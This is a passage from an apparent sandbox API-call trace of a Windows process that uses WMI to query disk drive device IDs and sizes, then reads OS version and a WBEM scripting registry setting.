ppvObject=0x4deedfd0*=0x16c978) returned 0x0 [0188.277] WbemLocator:IClientSecurity:SetBlanket (This=0x16c978, pProxy=0x164300, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0188.277] WbemLocator:IUnknown:Release (This=0x16c978) returned 0x4 [0188.277] SWbemLocator:IUnknown:Release (This=0x16c9c0) returned 0x3 [0188.277] WbemLocator:IUnknown:Release (This=0x16c978) returned 0x2 [0188.277] WbemLocator:IUnknown:AddRef (This=0x164300) returned 0x3 [0188.277] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x165130 [0188.277] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x173c40 [0188.278] WbemLocator:IUnknown:Release (This=0x1638e0) returned 0x2 [0188.278] IUnknown:Release (This=0x153158) returned 0x1 [0188.356] LoadRegTypeLib (in: rguid=0x7fffab9ceb10*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x4deee918*=0x0 | out: pptlib=0x4deee918*=0x152370) returned 0x0 [0188.358] ITypeLib:GetTypeInfoOfGuid (in: This=0x152370, GUID=0x16bcf8*(Data1=0xd2f68443, Data2=0x85dc, Data3=0x427e, Data4=([0]=0x91, [1]=0xd8, [2]=0x36, [3]=0x65, [4]=0x54, [5]=0xcc, [6]=0x75, [7]=0x4c)), ppTInfo=0x16bce0 | out: ppTInfo=0x16bce0*=0x1532b8) returned 0x0 [0188.358] IUnknown:Release (This=0x152370) returned 0x2 [0188.358] IUnknown:AddRef (This=0x1532b8) returned 0x2 [0188.359] DispGetIDsOfNames (in: ptinfo=0x1532b8, rgszNames=0x16b2c0*="ExecQuery", cNames=0x1, rgdispid=0x158880 | out: rgdispid=0x158880*=9) returned 0x0 [0188.359] IUnknown:Release (This=0x1532b8) returned 0x1 [0188.368] IUnknown:AddRef (This=0x1532b8) returned 0x2 [0188.368] ITypeInfo:LocalInvoke (This=0x1532b8) returned 0x0 [0188.368] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0188.368] GetCurrentThreadId () returned 0x3ac [0188.368] WbemLocator:IUnknown:AddRef (This=0x164300) returned 0x3 [0188.368] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0188.368] GetCurrentThreadId () returned 0x3ac [0188.368] IWbemServices:ExecQuery (in: This=0x164300, strQueryLanguage="WQL", strQuery="SELECT PNPDeviceID, Size FROM Win32_DiskDrive ", lFlags=272, pCtx=0x0, ppEnum=0x4deedf98 | out: ppEnum=0x4deedf98*=0x169560) returned 0x0 [0188.536] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x1648c0 [0188.536] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x1756f0 [0188.536] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x1643b0 [0188.536] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x174640 [0188.536] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x1695c0 [0188.536] IUnknown:QueryInterface (in: This=0x169560, riid=0x7fffab9c9960*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4deeddc8 | out: ppvObject=0x4deeddc8*=0x169568) returned 0x0 [0188.537] IClientSecurity:QueryBlanket (in: This=0x169568, pProxy=0x169560, pAuthnSvc=0x4deeddc0, pAuthzSvc=0x4deede08, pServerPrincName=0x0, pAuthnLevel=0x4deede68, pImpLevel=0x4deede10, pAuthInfo=0x0, pCapabilites=0x4deeddf0 | out: pAuthnSvc=0x4deeddc0*=0xa, pAuthzSvc=0x4deede08*=0x0, pServerPrincName=0x0, pAuthnLevel=0x4deede68*=0x6, pImpLevel=0x4deede10*=0x2, pAuthInfo=0x0, pCapabilites=0x4deeddf0*=0x1) returned 0x0 [0188.537] IUnknown:Release (This=0x169568) returned 0x1 [0188.537] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0188.537] GetCurrentThreadId () returned 0x3ac [0188.537] WbemLocator:IUnknown:QueryInterface (in: This=0x164300, riid=0x7fffab9c9960*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4deedd98 | out: ppvObject=0x4deedd98*=0x16c978) returned 0x0 [0188.537] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x16c978, pProxy=0x164300, pAuthnSvc=0x4deedd90, pAuthzSvc=0x4deeddd8, pServerPrincName=0x0, pAuthnLevel=0x4deede00, pImpLevel=0x4deeddf8, pAuthInfo=0x0, pCapabilites=0x4deeddc0 | out: pAuthnSvc=0x4deedd90*=0xa, pAuthzSvc=0x4deeddd8*=0x0, pServerPrincName=0x0, pAuthnLevel=0x4deede00*=0x6, pImpLevel=0x4deeddf8*=0x3, pAuthInfo=0x0, pCapabilites=0x4deeddc0*=0x20) returned 0x0 [0188.537] WbemLocator:IUnknown:Release (This=0x16c978) returned 0x3 [0188.537] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0188.537] GetCurrentThreadId () returned 0x3ac [0188.537] WbemLocator:IUnknown:QueryInterface (in: This=0x164300, riid=0x7fffab9c9960*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4deedd98 | out: ppvObject=0x4deedd98*=0x16c978) returned 0x0 [0188.538] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x16c978, pProxy=0x164300, pAuthnSvc=0x4deedd90, pAuthzSvc=0x4deeddd8, pServerPrincName=0x0, pAuthnLevel=0x4deeddf8, pImpLevel=0x4deede00, pAuthInfo=0x0, pCapabilites=0x4deeddc0 | out: pAuthnSvc=0x4deedd90*=0xa, pAuthzSvc=0x4deeddd8*=0x0, pServerPrincName=0x0, pAuthnLevel=0x4deeddf8*=0x6, pImpLevel=0x4deede00*=0x3, pAuthInfo=0x0, pCapabilites=0x4deeddc0*=0x20) returned 0x0 [0188.538] WbemLocator:IUnknown:Release (This=0x16c978) returned 0x3 [0188.538] IUnknown:QueryInterface (in: This=0x169560, riid=0x7fffab9c9960*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4deede20 | out: ppvObject=0x4deede20*=0x169568) returned 0x0 [0188.538] IClientSecurity:CopyProxy (in: This=0x169568, pProxy=0x169560, ppCopy=0x4deede18 | out: ppCopy=0x4deede18*=0x17a0b0) returned 0x0 [0188.538] IUnknown:QueryInterface (in: This=0x17a0b0, riid=0x7fffab9c9960*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4deedce0 | out: ppvObject=0x4deedce0*=0x17a0b8) returned 0x0 [0188.538] IClientSecurity:QueryBlanket (in: This=0x17a0b8, pProxy=0x17a0b0, pAuthnSvc=0x4deedd34, pAuthzSvc=0x4deedd38, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x4deedd34*=0xa, pAuthzSvc=0x4deedd38*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0 [0188.538] IUnknown:Release (This=0x17a0b8) returned 0x3 [0188.538] IUnknown:QueryInterface (in: This=0x17a0b0, riid=0x7fffab9c98a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4deedca0 | out: ppvObject=0x4deedca0*=0x16c810) returned 0x0 [0188.538] IUnknown:QueryInterface (in: This=0x17a0b0, riid=0x7fffab9c9960*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4deedce0 | out: ppvObject=0x4deedce0*=0x17a0b8) returned 0x0 [0188.538] IClientSecurity:SetBlanket (This=0x17a0b8, pProxy=0x17a0b0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0188.791] IUnknown:Release (This=0x17a0b8) returned 0x4 [0188.791] SWbemLocator:IUnknown:Release (This=0x16c810) returned 0x3 [0188.791] IUnknown:Release (This=0x169568) returned 0x2 [0188.791] IUnknown:AddRef (This=0x17a0b0) returned 0x3 [0188.791] IUnknown:Release (This=0x169560) returned 0x2 [0188.791] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x4deedf30 | out: pperrinfo=0x4deedf30*=0x0) returned 0x1 [0188.792] WbemLocator:IUnknown:Release (This=0x164300) returned 0x2 [0188.792] IUnknown:Release (This=0x1532b8) returned 0x1 [0188.861] LoadRegTypeLib (in: rguid=0x7fffab9ceb10*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x4deee918*=0x0 | out: pptlib=0x4deee918*=0x152370) returned 0x0 [0188.863] ITypeLib:GetTypeInfoOfGuid (in: This=0x152370, GUID=0x164910*(Data1=0x76a6415f, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), ppTInfo=0x1648f8 | out: ppTInfo=0x1648f8*=0x153368) returned 0x0 [0188.863] IUnknown:Release (This=0x152370) returned 0x3 [0188.863] IUnknown:AddRef (This=0x153368) returned 0x2 [0188.863] DispGetIDsOfNames (in: ptinfo=0x153368, rgszNames=0x158910*="Count", cNames=0x1, rgdispid=0x16b2c0 | out: rgdispid=0x16b2c0*=1) returned 0x0 [0188.864] IUnknown:Release (This=0x153368) returned 0x1 [0188.935] IUnknown:AddRef (This=0x153368) returned 0x2 [0188.938] ITypeInfo:LocalInvoke (This=0x153368) returned 0x0 [0188.938] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0188.938] GetCurrentThreadId () returned 0x3ac [0188.939] IUnknown:AddRef (This=0x17a0b0) returned 0x3 [0188.939] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0188.939] GetCurrentThreadId () returned 0x3ac [0188.939] IEnumWbemClassObject:Clone (in: This=0x17a0b0, ppEnum=0x4deee3a8 | out: ppEnum=0x4deee3a8*=0x16b860) returned 0x0 [0189.102] IUnknown:QueryInterface (in: This=0x17a0b0, riid=0x7fffab9c9960*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4deee2c8 | out: ppvObject=0x4deee2c8*=0x17a0b8) returned 0x0 [0189.102] IClientSecurity:QueryBlanket (in: This=0x17a0b8, pProxy=0x17a0b0, pAuthnSvc=0x4deee2c0, pAuthzSvc=0x4deee308, pServerPrincName=0x0, pAuthnLevel=0x4deee330, pImpLevel=0x4deee328, pAuthInfo=0x0, pCapabilites=0x4deee2f0 | out: pAuthnSvc=0x4deee2c0*=0xa, pAuthzSvc=0x4deee308*=0x0, pServerPrincName=0x0, pAuthnLevel=0x4deee330*=0x6, pImpLevel=0x4deee328*=0x3, pAuthInfo=0x0, pCapabilites=0x4deee2f0*=0x20) returned 0x0 [0189.103] IUnknown:Release (This=0x17a0b8) returned 0x3 [0189.103] IUnknown:QueryInterface (in: This=0x16b860, riid=0x7fffab9c9960*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4deee1e0 | out: ppvObject=0x4deee1e0*=0x16b868) returned 0x0 [0189.103] IClientSecurity:QueryBlanket (in: This=0x16b868, pProxy=0x16b860, pAuthnSvc=0x4deee234, pAuthzSvc=0x4deee238, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x4deee234*=0xa, pAuthzSvc=0x4deee238*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0 [0189.103] IUnknown:Release (This=0x16b868) returned 0x1 [0189.103] IUnknown:QueryInterface (in: This=0x16b860, riid=0x7fffab9c98a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4deee1a0 | out: ppvObject=0x4deee1a0*=0x16c300) returned 0x0 [0189.103] IUnknown:QueryInterface (in: This=0x16b860, riid=0x7fffab9c9960*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4deee1e0 | out: ppvObject=0x4deee1e0*=0x16b868) returned 0x0 [0189.103] IClientSecurity:SetBlanket (This=0x16b868, pProxy=0x16b860, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0189.218] IUnknown:Release (This=0x16b868) returned 0x2 [0189.218] SWbemLocator:IUnknown:Release (This=0x16c300) returned 0x1 [0189.218] IEnumWbemClassObject:Reset (This=0x16b860) returned 0x0 [0189.293] IEnumWbemClassObject:Next (in: This=0x16b860, lTimeout=-1, uCount=0x1, apObjects=0x4deee350, puReturned=0x4deee3a0 | out: apObjects=0x4deee350*=0x180520, puReturned=0x4deee3a0*=0x1) returned 0x0 [0189.389] IUnknown:Release (This=0x180520) returned 0x0 [0189.389] IEnumWbemClassObject:Next (in: This=0x16b860, lTimeout=-1, uCount=0x1, apObjects=0x4deee350, puReturned=0x4deee3a0 | out: apObjects=0x4deee350*=0x180520, puReturned=0x4deee3a0*=0x0) returned 0x1 [0189.397] IUnknown:Release (This=0x16b860) returned 0x0 [0189.401] IUnknown:Release (This=0x17a0b0) returned 0x2 [0189.401] IUnknown:Release (This=0x153368) returned 0x1 [0189.403] IUnknown:AddRef (This=0x153368) returned 0x2 [0189.403] DispGetIDsOfNames (in: ptinfo=0x153368, rgszNames=0x16b2c0*="_NewEnum", cNames=0x1, rgdispid=0x158910 | out: rgdispid=0x158910*=-4) returned 0x0 [0189.403] IUnknown:Release (This=0x153368) returned 0x1 [0189.405] IUnknown:AddRef (This=0x153368) returned 0x2 [0189.405] ITypeInfo:LocalInvoke (This=0x153368) returned 0x0 [0189.405] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0189.405] GetCurrentThreadId () returned 0x3ac [0189.405] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x173470 [0189.405] IUnknown:Release (This=0x153368) returned 0x1 [0189.435] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0189.435] GetCurrentThreadId () returned 0x3ac [0189.435] IUnknown:AddRef (This=0x17a0b0) returned 0x3 [0189.435] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0189.435] GetCurrentThreadId () returned 0x3ac [0189.435] IEnumWbemClassObject:Next (in: This=0x17a0b0, lTimeout=-1, uCount=0x1, apObjects=0x4deee958, puReturned=0x4deee950 | out: apObjects=0x4deee958*=0x1818d0, puReturned=0x4deee950*=0x1) returned 0x0 [0189.472] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x176da0 [0189.472] IUnknown:AddRef (This=0x1818d0) returned 0x2 [0189.472] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x16b780 [0189.472] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x175fb0 [0189.472] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x163cf0 [0189.472] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x173a00 [0189.472] WbemLocator:IUnknown:AddRef (This=0x164300) returned 0x3 [0189.472] IUnknown:AddRef (This=0x17a0b0) returned 0x4 [0189.472] IUnknown:QueryInterface (in: This=0x17a0b0, riid=0x7fffab9c9960*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4deee838 | out: ppvObject=0x4deee838*=0x17a0b8) returned 0x0 [0189.473] IClientSecurity:QueryBlanket (in: This=0x17a0b8, pProxy=0x17a0b0, pAuthnSvc=0x4deee830, pAuthzSvc=0x4deee878, pServerPrincName=0x0, pAuthnLevel=0x4deee8a0, pImpLevel=0x4deee898, pAuthInfo=0x0, pCapabilites=0x4deee860 | out: pAuthnSvc=0x4deee830*=0xa, pAuthzSvc=0x4deee878*=0x0, pServerPrincName=0x0, pAuthnLevel=0x4deee8a0*=0x6, pImpLevel=0x4deee898*=0x3, pAuthInfo=0x0, pCapabilites=0x4deee860*=0x20) returned 0x0 [0189.473] IUnknown:Release (This=0x17a0b8) returned 0x4 [0189.473] WbemLocator:IUnknown:Release (This=0x164300) returned 0x2 [0189.473] WbemLocator:IUnknown:AddRef (This=0x164300) returned 0x3 [0189.473] IUnknown:Release (This=0x17a0b0) returned 0x3 [0189.473] SysStringLen (param_1="\\\\.\\root\\cimv2") returned 0xe [0189.473] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x17a660 [0189.473] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x180ac0 [0189.474] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x173ec0 [0189.474] IUnknown:AddRef (This=0x1818d0) returned 0x3 [0189.474] IUnknown:Release (This=0x1818d0) returned 0x2 [0189.474] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x4deee900 | out: pperrinfo=0x4deee900*=0x0) returned 0x1 [0189.474] IUnknown:Release (This=0x17a0b0) returned 0x2 [0189.474] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x4deee900 | out: pperrinfo=0x4deee900*=0x0) returned 0x1 [0189.485] LoadRegTypeLib (in: rguid=0x7fffab9ceb10*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x4deee8d0*=0x0 | out: pptlib=0x4deee8d0*=0x152370) returned 0x0 [0189.486] ITypeLib:GetTypeInfoOfGuid (in: This=0x152370, GUID=0x7fffab9c9a78*(Data1=0x269ad56a, Data2=0x8a67, Data3=0x4129, Data4=([0]=0xbc, [1]=0x8c, [2]=0x5, [3]=0x6, [4]=0xdc, [5]=0xfe, [6]=0x98, [7]=0x80)), ppTInfo=0x17a690 | out: ppTInfo=0x17a690*=0x153418) returned 0x0 [0189.487] IUnknown:Release (This=0x152370) returned 0x4 [0189.487] IUnknown:AddRef (This=0x153418) returned 0x2 [0189.487] DispGetIDsOfNames (in: ptinfo=0x153418, rgszNames=0x180d30*="PNPDeviceID", cNames=0x1, rgdispid=0x180d60 | out: rgdispid=0x180d60*=-1) returned 0x80020006 [0189.495] IUnknown:AddRef (This=0x1818d0) returned 0x3 [0189.495] IWbemClassObject:Get (in: This=0x1818d0, wszName="PNPDeviceID", lFlags=0, pVal=0x0, pType=0x0, plFlavor=0x4deee810*=0 | out: pVal=0x0, pType=0x0, plFlavor=0x4deee810*=0) returned 0x0 [0189.495] IUnknown:Release (This=0x1818d0) returned 0x2 [0189.495] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x174740 [0189.496] SysStringLen (param_1="PNPDeviceID") returned 0xb [0189.496] IUnknown:Release (This=0x153418) returned 0x1 [0189.503] IUnknown:AddRef (This=0x153418) returned 0x2 [0189.503] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0189.503] GetCurrentThreadId () returned 0x3ac [0189.503] SysStringLen (param_1="PNPDeviceID") returned 0xb [0189.503] IWbemClassObject:Get (in: This=0x1818d0, wszName="PNPDeviceID", lFlags=0, pVal=0x4deee7e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x4deee840*=25165825, plFlavor=0x0 | out: pVal=0x4deee7e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="SCSI\\DISK&VEN_&PROD_ST250LT021/ST250\\4&305DAB9F&0&000000", varVal2=0x0), pType=0x4deee840*=8, plFlavor=0x0) returned 0x0 [0189.504] IUnknown:Release (This=0x153418) returned 0x1 [0189.507] IUnknown:AddRef (This=0x153418) returned 0x2 [0189.508] DispGetIDsOfNames (in: ptinfo=0x153418, rgszNames=0x180c40*="Size", cNames=0x1, rgdispid=0x180cd0 | out: rgdispid=0x180cd0*=-1) returned 0x80020006 [0189.508] _wcsicmp (_String1="PNPDeviceID", _String2="Size") returned -3 [0189.508] _wcsicmp (_String1="Size", _String2="PNPDeviceID") returned 3 [0189.508] IUnknown:AddRef (This=0x1818d0) returned 0x3 [0189.508] IWbemClassObject:Get (in: This=0x1818d0, wszName="Size", lFlags=0, pVal=0x0, pType=0x0, plFlavor=0x4deee810*=0 | out: pVal=0x0, pType=0x0, plFlavor=0x4deee810*=0) returned 0x0 [0189.508] IUnknown:Release (This=0x1818d0) returned 0x2 [0189.508] _wcsicmp (_String1="Size", _String2="PNPDeviceID") returned 3 [0189.508] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x173f00 [0189.508] SysStringLen (param_1="Size") returned 0x4 [0189.508] IUnknown:Release (This=0x153418) returned 0x1 [0189.509] IUnknown:AddRef (This=0x153418) returned 0x2 [0189.509] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0189.509] GetCurrentThreadId () returned 0x3ac [0189.509] SysStringLen (param_1="Size") returned 0x4 [0189.509] IWbemClassObject:Get (in: This=0x1818d0, wszName="Size", lFlags=0, pVal=0x4deee7e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x4deee840*=25165826, plFlavor=0x0 | out: pVal=0x4deee7e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="268432012800", varVal2=0x0), pType=0x4deee840*=21, plFlavor=0x0) returned 0x0 [0189.510] IUnknown:Release (This=0x153418) returned 0x1 [0189.511] IUnknown:Release (This=0x1818d0) returned 0x1 [0189.511] WbemLocator:IUnknown:Release (This=0x164300) returned 0x2 [0189.511] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0189.512] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0189.512] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0189.512] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0189.512] IUnknown:Release (This=0x1818d0) returned 0x0 [0189.512] IUnknown:Release (This=0x153418) returned 0x0 [0189.512] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0189.512] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0189.512] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0189.512] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0189.512] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0189.512] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0189.513] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0189.513] GetCurrentThreadId () returned 0x3ac [0189.513] IUnknown:AddRef (This=0x17a0b0) returned 0x3 [0189.513] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0189.513] GetCurrentThreadId () returned 0x3ac [0189.513] IEnumWbemClassObject:Next (in: This=0x17a0b0, lTimeout=-1, uCount=0x1, apObjects=0x4deee958, puReturned=0x4deee950 | out: apObjects=0x4deee958*=0x0, puReturned=0x4deee950*=0x0) returned 0x1 [0189.514] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x4deee900 | out: pperrinfo=0x4deee900*=0x0) returned 0x1 [0189.515] IUnknown:Release (This=0x17a0b0) returned 0x2 [0189.515] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x4deee900 | out: pperrinfo=0x4deee900*=0x0) returned 0x1 [0189.516] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0189.517] IUnknown:Release (This=0x17a0b0) returned 0x1 [0189.517] IUnknown:Release (This=0x17a0b0) returned 0x0 [0189.520] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0189.520] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0189.521] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0189.521] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0189.521] IUnknown:Release (This=0x153368) returned 0x0 [0189.521] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0189.529] WbemLocator:IUnknown:Release (This=0x164300) returned 0x1 [0189.529] WbemLocator:IUnknown:Release (This=0x164300) returned 0x0 [0189.531] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0189.531] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0189.531] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0189.531] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0189.531] IUnknown:Release (This=0x1532b8) returned 0x0 [0189.531] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0189.532] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0189.532] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0189.532] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0189.532] IUnknown:Release (This=0x153158) returned 0x0 [0189.537] WbemLocator:IUnknown:Release (This=0x1390d0) returned 0x0 [0189.537] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0189.541] DllCanUnloadNow () returned 0x0 [0189.541] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0189.541] FreeLibrary (hLibModule=0x7fffcb600000) returned 1 [0189.542] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0189.543] free (_Block=0xa37780) Thread: id = 125 os_tid = 0xfec [0189.806] malloc (_Size=0x100) returned 0xa37670 [0189.806] __dllonexit () returned 0x7fffaba95c10 [0189.806] __dllonexit () returned 0x7fffaba95c30 [0189.806] __dllonexit () returned 0x7fffaba95c50 [0189.807] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x173510 [0189.807] GetVersionExW (in: lpVersionInformation=0x4deee490*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x4deee6e8, dwBuildNumber=0x0, dwPlatformId=0x4deee590, szCSDVersion="") | out: lpVersionInformation=0x4deee490*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0189.807] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Wbem\\Scripting", ulOptions=0x0, samDesired=0x1, phkResult=0x4deee480 | out: phkResult=0x4deee480*=0x308) returned 0x0 [0189.807] RegQueryValueExW (in: hKey=0x308, lpValueName="Default Impersonation Level", lpReserved=0x0, lpType=0x0, lpData=0x4deee474, lpcbData=0x4deee470*=0x4 | out: lpType=0x0, lpData=0x4deee474*=0x3, lpcbData=0x4deee470*=0x4) returned 0x0 [0189.807] RegCloseKey (hKey=0x308) returned 0x0 [0189.807] 